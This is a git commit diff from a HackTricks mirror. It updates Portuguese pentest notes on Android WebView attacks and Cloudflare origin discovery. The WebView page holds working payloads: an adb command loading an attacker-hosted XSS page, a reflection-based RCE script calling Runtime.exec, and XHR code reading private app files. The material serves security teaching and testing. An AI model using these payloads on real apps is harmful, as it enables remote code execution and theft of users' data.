mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-19 15:38:29 +00:00
Translated ['mobile-pentesting/android-app-pentesting/webview-attacks.md
This commit is contained in:
parent
da318b8927
commit
4d5c2a8bd8
7 changed files with 431 additions and 105 deletions
BIN
.gitbook/assets/image (718).png
Normal file
BIN
.gitbook/assets/image (718).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 125 KiB |
BIN
.gitbook/assets/image (719).png
Normal file
BIN
.gitbook/assets/image (719).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 209 KiB |
|
@ -585,7 +585,7 @@
|
|||
* [LFI2RCE Via compress.zlib + PHP\_STREAM\_PREFER\_STUDIO + Path Disclosure](pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
||||
* [File Upload](pentesting-web/file-upload/README.md)
|
||||
* [PDF Upload - XXE and CORS bypass](pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md)
|
||||
* [Formula/CSV/Doc/LaTeX Injection](pentesting-web/formula-doc-latex-injection.md)
|
||||
* [Formula/CSV/Doc/LaTeX/GhostScript Injection](pentesting-web/formula-csv-doc-latex-ghostscript-injection.md)
|
||||
* [HTTP Connection Contamination](pentesting-web/http-connection-contamination.md)
|
||||
* [HTTP Connection Request Smuggling](pentesting-web/http-connection-request-smuggling.md)
|
||||
* [HTTP Request Smuggling / HTTP Desync Attack](pentesting-web/http-request-smuggling/README.md)
|
||||
|
|
|
@ -1,75 +1,108 @@
|
|||
# Configurações Interessantes
|
||||
# Ataques ao WebView
|
||||
|
||||
## Acesso a Arquivos
|
||||
<details>
|
||||
|
||||
O acesso a arquivos do _WebView_ está habilitado por padrão. Desde a API 3 (Cupcake 1.5), o método [_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\)) está disponível para habilitá-lo ou desabilitá-lo explicitamente.\
|
||||
Se o aplicativo tiver _**android.permission.READ\_EXTERNAL\_STORAGE**_, ele poderá ler e carregar arquivos **do armazenamento externo**.\
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Configurações Interessantes
|
||||
|
||||
Você pode identificar um WebView exposto assim:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (718).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Acesso a Arquivos
|
||||
|
||||
O acesso a arquivos do _WebView_ está habilitado por padrão. Desde a API 3 (Cupcake 1.5), o método [_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\)) está disponível para habilitar ou desabilitar explicitamente.\
|
||||
Se o aplicativo tiver a permissão \_**android.permission.READ\_EXTERNAL\_STORAGE** \_, ele poderá ler e carregar arquivos **do armazenamento externo**.\
|
||||
O _WebView_ precisa usar um esquema de URL de arquivo, por exemplo, `file://path/file`, para acessar o arquivo.
|
||||
|
||||
### Acesso Universal a partir de URL de Arquivo (Descontinuado)
|
||||
#### Acesso Universal a partir de URL de Arquivo (Descontinuado)
|
||||
|
||||
> Define se as solicitações **cross-origin** no **contexto de uma URL de esquema de arquivo** devem ser permitidas a acessar **conteúdo de qualquer origem**. Isso inclui **acesso a conteúdo de outras URLs de esquema de arquivo ou contextos da web.** Observe que alguns acessos, como elementos HTML de imagem, não seguem as regras de mesma origem e não são afetados por essa configuração.
|
||||
> Define se as **solicitações entre origens** no **contexto de um URL de esquema de arquivo** devem ser permitidas a acessar **conteúdo de qualquer origem**. Isso inclui **acesso a conteúdo de outros URLs de esquema de arquivo ou contextos da web.** Observe que alguns acessos, como elementos HTML de imagem, não seguem as regras de mesma origem e não são afetados por essa configuração.
|
||||
>
|
||||
> **Não** habilite essa configuração se você abrir arquivos que possam ser criados ou alterados por fontes externas. Habilitar essa configuração permite que scripts maliciosos carregados em um contexto `file://` lancem ataques de script entre sites, acessando **arquivos locais arbitrários**, incluindo cookies do WebView, dados privados do aplicativo ou até mesmo credenciais usadas em sites da web arbitrários.
|
||||
|
||||
Em resumo, isso **impedirá o carregamento de Origens arbitrárias**. O aplicativo enviará a solicitação de URL para carregar o conteúdo com **`Origin: file://`** se a resposta não permitir essa origem (**`Access-Control-Allow-Origin: file://`**), o conteúdo não será carregado.\
|
||||
Em resumo, isso **impedirá o carregamento de Origens arbitrárias**. O aplicativo enviará a solicitação de URL para carregar o conteúdo com **`Origin: file://`** se a resposta não permitir essa origem (**`Access-Control-Allow-Origin: file://`**), então o conteúdo não será carregado.\
|
||||
O **valor padrão é `false`** ao direcionar [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) e acima.
|
||||
|
||||
* Use [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) para saber se o JavaScript em execução no contexto de uma URL de esquema de arquivo pode acessar conteúdo de qualquer origem (se o UniversalAccessFromFileURL estiver habilitado).
|
||||
* Use [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) para saber se o JavaScript em execução no contexto de um URL de esquema de arquivo pode acessar conteúdo de qualquer origem (se o UniversalAccessFromFileURL estiver habilitado).
|
||||
* Use [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs\(boolean\)) para habilitar/desabilitar.
|
||||
|
||||
{% hint style="info" %}
|
||||
Usar **`loadDataWithBaseURL()`** com `null` como baseURL também **impedirá o carregamento de arquivos locais**, mesmo se todas as configurações perigosas estiverem habilitadas.
|
||||
{% endhint %}
|
||||
|
||||
### Acesso a Arquivos a partir de URLs de Arquivo (Descontinuado) <a href="#getallowfileaccessfromfileurls" id="getallowfileaccessfromfileurls"></a>
|
||||
#### Acesso a Arquivos a partir de URLs de Arquivo (Descontinuado) <a href="#getallowfileaccessfromfileurls" id="getallowfileaccessfromfileurls"></a>
|
||||
|
||||
> Define se as solicitações **cross-origin** no **contexto de uma URL de esquema de arquivo** devem ser permitidas a acessar conteúdo de outras URLs de esquema de arquivo. Observe que alguns acessos, como elementos HTML de imagem, não seguem as regras de mesma origem e não são afetados por essa configuração.
|
||||
> Define se as solicitações entre origens no contexto de um URL de esquema de arquivo devem ser permitidas a acessar conteúdo de outros URLs de esquema de arquivo. Observe que alguns acessos, como elementos HTML de imagem, não seguem as regras de mesma origem e não são afetados por essa configuração.
|
||||
>
|
||||
> **Não** habilite essa configuração se você abrir arquivos que possam ser criados ou alterados por fontes externas. Habilitar essa configuração permite que scripts maliciosos carregados em um contexto `file://` acessem arquivos locais arbitrários, incluindo cookies do WebView e dados privados do aplicativo.
|
||||
|
||||
Em resumo, isso impede que o JavaScript acesse arquivos locais via protocolo `file://`.\
|
||||
Observe que **o valor dessa configuração é ignorado** se o valor de [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) for `true`. \
|
||||
Em resumo, isso impede que o javascript acesse arquivos locais via protocolo `file://`.\
|
||||
Observe que **o valor dessa configuração é ignorado** se o valor de [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) for `true`.\
|
||||
O **valor padrão é `false`** ao direcionar [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) e acima.
|
||||
|
||||
* Use [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\)) para saber se o JavaScript está em execução no contexto de uma URL de esquema de arquivo pode acessar conteúdo de outras URLs de esquema de arquivo.
|
||||
* Use [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\)) para saber se o JavaScript está em execução no contexto de um URL de esquema de arquivo pode acessar conteúdo de outros URLs de esquema de arquivo.
|
||||
* Use [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs\(boolean\)) para habilitar/desabilitar.
|
||||
#### Acesso a Arquivos
|
||||
|
||||
### Acesso a Arquivo
|
||||
|
||||
> Habilita ou desabilita o **acesso a arquivos dentro do WebView**. Observe que isso habilita ou desabilita o acesso ao sistema de arquivos apenas. Ativos e recursos ainda são acessíveis usando file:///android\_asset e file:///android\_res.
|
||||
> Habilita ou desabilita o **acesso a arquivos dentro do WebView**. Observe que isso habilita ou desabilita apenas o acesso ao sistema de arquivos. Ativos e recursos ainda são acessíveis usando file:///android\_asset e file:///android\_res.
|
||||
|
||||
Em resumo, se desabilitado, o WebView não poderá carregar um arquivo local com o protocolo `file://`.\
|
||||
O **valor padrão é `false`** ao direcionar [`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#R) e acima.
|
||||
O **valor padrão é `false`** ao direcionar [`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#R) e superior.
|
||||
|
||||
* Use [`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess\(\)) para saber se a configuração está habilitada.
|
||||
* Use [`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess\(boolean\)) para habilitar/desabilitar.
|
||||
|
||||
### WebViewAssetLoader
|
||||
#### WebViewAssetLoader
|
||||
|
||||
> Classe auxiliar para carregar arquivos locais, incluindo ativos estáticos e recursos do aplicativo, usando URLs http(s):// dentro de uma classe [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html). Carregar arquivos locais usando URLs semelhantes à web em vez de `"file://"` é desejável, pois é compatível com a política de mesma origem.
|
||||
|
||||
Esta é a nova maneira recomendada de carregar arquivos locais. O objetivo é **acessar arquivos locais usando um URL HTTP com o domínio**. Dessa forma, o **CORS** pode ser **facilmente** mantido entre as **páginas** da web **locais** e as **páginas** da web que são baixadas do servidor da web.
|
||||
Esta é a nova maneira recomendada de carregar arquivos locais. O objetivo é **acessar arquivos locais usando um URL HTTP com o domínio**. Dessa forma, a **CORS** pode ser **facilmente** mantida entre as **páginas web** **locais** e as **páginas web** que são baixadas do servidor web.
|
||||
|
||||
## Javascript Habilitado
|
||||
### Javascript Habilitado
|
||||
|
||||
Os WebViews têm o Javascript **desabilitado por padrão**. O método [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\)) pode habilitá-lo ou desabilitá-lo explicitamente. \
|
||||
Observe que os webviews também podem suportar o **esquema de intenção** que permite disparar outros aplicativos. Leia este [artigo para descobrir como ir de XSS para RCE](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105).
|
||||
Os WebViews têm o Javascript **desabilitado por padrão**. O método [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\)) pode habilitá-lo ou desabilitá-lo explicitamente.\
|
||||
Observe que os webviews também podem suportar o **esquema de intenção** que permite abrir outros aplicativos. Leia este [artigo para saber como ir de XSS para RCE](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105).
|
||||
|
||||
## Ponte Javascript
|
||||
Aqui está um exemplo de um webview exposto vulnerável a XSS por meio do parâmetro "support\_url" (que pode indicar a URL a ser carregada no webview):
|
||||
|
||||
O Android oferece uma maneira para o JavaScript executado em um WebView chamar e usar **funções nativas de um aplicativo Android** (anotadas com `@JavascriptInterface`) usando o método [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29). Isso é conhecido como _WebView JavaScript bridge_ ou _native bridge_.
|
||||
<figure><img src="../../.gitbook/assets/image (719).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Observe que **quando você usa `addJavascriptInterface`, está concedendo explicitamente acesso ao objeto de Interface JavaScript registrado a todas as páginas carregadas dentro desse WebView**. Isso implica que, se o usuário navegar fora do seu aplicativo ou domínio, todas as outras páginas externas também terão acesso a esses objetos de Interface JavaScript, o que pode
|
||||
É possível explorar essa vulnerabilidade pelo adb com algo como:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://6333-157-48-216-175.ngrok-free.app/xss.html"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Ponte de JavaScript
|
||||
|
||||
O Android oferece uma maneira para o JavaScript executado em um WebView chamar e usar **funções nativas de um aplicativo Android** (anotadas com `@JavascriptInterface`) usando o método [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29). Isso é conhecido como uma _ponte de JavaScript WebView_ ou _ponte nativa_.
|
||||
|
||||
Por favor, observe que **quando você usa `addJavascriptInterface`, você está concedendo explicitamente acesso ao objeto de Interface JavaScript registrado para todas as páginas carregadas dentro desse WebView**. Isso implica que, se o usuário navegar para fora do seu aplicativo ou domínio, todas as outras páginas externas também terão acesso a esses objetos de Interface JavaScript, o que pode representar um risco de segurança potencial se algum dado sensível estiver sendo exposto por meio dessas interfaces.
|
||||
|
||||
> Aviso: Tenha extrema cautela com aplicativos direcionados para versões do Android abaixo do Android 4.2 (API level 17), pois eles são [vulneráveis a uma falha](https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/) na implementação do `addJavascriptInterface`: um ataque que abusa da reflexão, o que leva à execução remota de código quando JavaScript malicioso é injetado em um WebView. Isso ocorreu devido a todos os métodos de objetos Java serem acessíveis por padrão (em vez de apenas aqueles anotados).
|
||||
|
||||
#### Análise Estática
|
||||
```javascript
|
||||
//Class with a method to access a secret
|
||||
public class JavascriptBridge {
|
||||
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
|
||||
// not annotated with @JavascriptInterface are not visible from JavaScript
|
||||
@JavascriptInterface
|
||||
public String getSecret() {
|
||||
return "SuperSecretPassword";
|
||||
};
|
||||
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
|
||||
// not annotated with @JavascriptInterface are not visible from JavaScript
|
||||
@JavascriptInterface
|
||||
public String getSecret() {
|
||||
return "SuperSecretPassword";
|
||||
};
|
||||
}
|
||||
```
|
||||
|
||||
|
@ -83,94 +116,106 @@ webView.reload();
|
|||
<!-- Exploit to get the secret from JavaScript -->
|
||||
<script>alert(javascriptBridge.getSecret());</script>
|
||||
```
|
||||
Com acesso ao código JavaScript, por exemplo, por meio de um ataque **XSS** armazenado, ataque **MITM** ou um **site malicioso** que é carregado dentro do WebView, é possível chamar diretamente os métodos Java expostos.
|
||||
Com acesso ao código JavaScript, por exemplo, através de um ataque **XSS** armazenado, ataque **MITM** ou um **site malicioso** que é carregado dentro do WebView, é possível chamar diretamente os métodos Java expostos.
|
||||
|
||||
{% hint style="info" %}
|
||||
Observe que, no caso de tentar explorar essa vulnerabilidade por meio de um **Redirecionamento Aberto para uma página da web do atacante que acessa o Objeto Android Nativo**. Se o acesso à redirecionamento for feito por meio de um **navegador móvel** e **não usando** o mesmo **WebView**, o **navegador não poderá acessar o objeto Android nativo**.
|
||||
Observe que, no caso de tentar explorar essa vulnerabilidade através de um **Redirecionamento Aberto para uma página da web do atacante que acessa o Objeto Nativo Android**. Se o acesso ao redirecionamento for feito por meio de um **navegador móvel** e **não usando** o mesmo WebView, o **navegador não poderá acessar o objeto nativo Android**.
|
||||
{% endhint %}
|
||||
|
||||
Se `addJavascriptInterface` for necessário, leve em consideração o seguinte:
|
||||
|
||||
* **Somente o JavaScript fornecido** com o APK deve ser permitido a usar as pontes, por exemplo, verificando a URL em cada método Java conectado (por meio de `WebView.getUrl`).
|
||||
* Somente o JavaScript fornecido com o APK deve ser permitido a usar as bridges, por exemplo, verificando a URL em cada método Java conectado (via `WebView.getUrl`).
|
||||
* **Nenhum JavaScript deve ser carregado de endpoints remotos**, por exemplo, mantendo a navegação da página dentro dos domínios do aplicativo e abrindo todos os outros domínios no navegador padrão (por exemplo, Chrome, Firefox).
|
||||
* Se necessário por motivos de legado (por exemplo, ter que suportar dispositivos mais antigos), **defina pelo menos o nível mínimo de API para 17** no arquivo manifesto do aplicativo (`<uses-sdk android:minSdkVersion="17" />`).
|
||||
* Se necessário por motivos de compatibilidade (por exemplo, ter que suportar dispositivos mais antigos), **defina pelo menos o nível mínimo de API para 17** no arquivo manifesto do aplicativo (`<uses-sdk android:minSdkVersion="17" />`).
|
||||
|
||||
## Ponte JavaScript para RCE via Reflexão
|
||||
### Ponte de JavaScript para RCE via Reflexão
|
||||
|
||||
Conforme observado nesta [**pesquisa**](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/) (_verifique-a para obter ideias caso obtenha RCE_), uma vez que você encontrou uma JavascriptBridge, é possível obter **RCE** via **Reflexão** usando uma carga útil como a seguinte:
|
||||
Conforme observado nesta [**pesquisa**](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/) (_verifique para obter ideias caso obtenha RCE_), uma vez que você encontrou uma JavascriptBridge, é possível obter **RCE** via **Reflexão** usando um payload como o seguinte:
|
||||
```markup
|
||||
<!-- javascriptBridge is the name of the Android exposed object -->
|
||||
<script>
|
||||
function execute(cmd){
|
||||
return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
|
||||
return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
|
||||
}
|
||||
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
|
||||
</script>
|
||||
```
|
||||
No entanto, aplicativos modernos podem usar a **anotação `@JavascriptInterface`** que indica à **JavascriptBridge** que somente o método com essa anotação deve ser **exposto**.\
|
||||
Nesse cenário, você não poderá abusar da **Reflection** para executar código arbitrário.
|
||||
No entanto, aplicativos modernos podem usar a anotação **`@JavascriptInterface`** que indica à JavascriptBridge que apenas o método com essa anotação deve ser exposto.\
|
||||
Nesse cenário, você não poderá abusar da Reflexão para executar código arbitrário.
|
||||
|
||||
## Depuração Remota
|
||||
### Depuração Remota
|
||||
|
||||
A **depuração remota do WebView** permite acessar o WebView com as **Ferramentas de Desenvolvedor do Chrome**.\
|
||||
O **dispositivo** precisa ser **acessível** pelo PC (via USB, emulador local, rede local...) e estar executando o WebView depurável, em seguida, acesse **chrome://inspect/#devices**:
|
||||
O dispositivo precisa ser acessível pelo PC (via USB, emulador local, rede local...) e estar executando o WebView com depuração ativada, em seguida, acesse **chrome://inspect/#devices**:
|
||||
|
||||
.png>)
|
||||
|
||||
Selecione **inspecionar** e uma nova janela será aberta. Nesta janela, você pode **interagir com o conteúdo** do **WebView** e até mesmo fazer com que ele **execute código JS arbitrário** na guia **console**:
|
||||
Selecione **inspecionar** e uma nova janela será aberta. Nesta janela, você pode **interagir com o conteúdo** do WebView e até mesmo fazer com que ele execute código JS arbitrário a partir da guia **console**:
|
||||
|
||||
.png>)
|
||||
|
||||
Para habilitar a **Depuração Remota do WebView**, você pode fazer algo como:
|
||||
```java
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
WebView.setWebContentsDebuggingEnabled(true);
|
||||
WebView.setWebContentsDebuggingEnabled(true);
|
||||
}
|
||||
```
|
||||
**Essa configuração se aplica a todos os WebViews do aplicativo.**
|
||||
|
||||
{% hint style="info" %}
|
||||
**A depuração do WebView não é afetada pelo estado do sinalizador `debuggable`** no manifesto do aplicativo. Se você deseja habilitar a depuração do WebView somente quando `debuggable` for `true`, teste o sinalizador em tempo de execução.
|
||||
**A depuração do WebView não é afetada pelo estado da flag `debuggable`** no manifesto do aplicativo. Se você deseja habilitar a depuração do WebView apenas quando `debuggable` for `true`, teste a flag em tempo de execução.
|
||||
{% endhint %}
|
||||
```java
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
|
||||
{ WebView.setWebContentsDebuggingEnabled(true); }
|
||||
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
|
||||
{ WebView.setWebContentsDebuggingEnabled(true); }
|
||||
}
|
||||
```
|
||||
# Cargas úteis
|
||||
## Cargas úteis
|
||||
|
||||
## Exfiltrar arquivos arbitrários
|
||||
### Exfiltrar arquivos arbitrários
|
||||
|
||||
Para exfiltrar arquivos arbitrários de um aplicativo Android que utiliza WebView, você pode usar a seguinte carga útil:
|
||||
|
||||
```javascript
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('GET', 'file:///path/to/file', true);
|
||||
xhr.onreadystatechange = function() {
|
||||
if (xhr.readyState === 4 && xhr.status === 200) {
|
||||
var fileContent = xhr.responseText;
|
||||
// Faça algo com o conteúdo do arquivo
|
||||
}
|
||||
};
|
||||
xhr.send();
|
||||
```
|
||||
|
||||
Substitua `file:///path/to/file` pelo caminho absoluto do arquivo que você deseja exfiltrar. Depois de executar o código, o conteúdo do arquivo será retornado na variável `fileContent`, permitindo que você faça o que quiser com ele.
|
||||
|
||||
Lembre-se de que essa técnica só funcionará se o aplicativo permitir o acesso a arquivos locais por meio do WebView.
|
||||
```javascript
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = function() {
|
||||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||||
alert(xhr.responseText);
|
||||
}
|
||||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||||
alert(xhr.responseText);
|
||||
}
|
||||
}
|
||||
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
|
||||
xhr.send(null);
|
||||
```
|
||||
# Referências
|
||||
## Referências
|
||||
|
||||
{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}
|
||||
|
||||
{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,38 +4,38 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Técnicas para tentar descobrir servidores web por trás do Cloudflare:
|
||||
Técnicas para tentar descobrir servidores web por trás do CloudFlare:
|
||||
|
||||
### Técnicas
|
||||
|
||||
* Você também pode usar algum serviço que lhe dê os **registros históricos do DNS** do domínio. Talvez a página da web esteja sendo executada em um endereço IP usado anteriormente.
|
||||
* O mesmo pode ser alcançado **verificando os certificados SSL históricos** que podem estar apontando para o endereço IP de origem.
|
||||
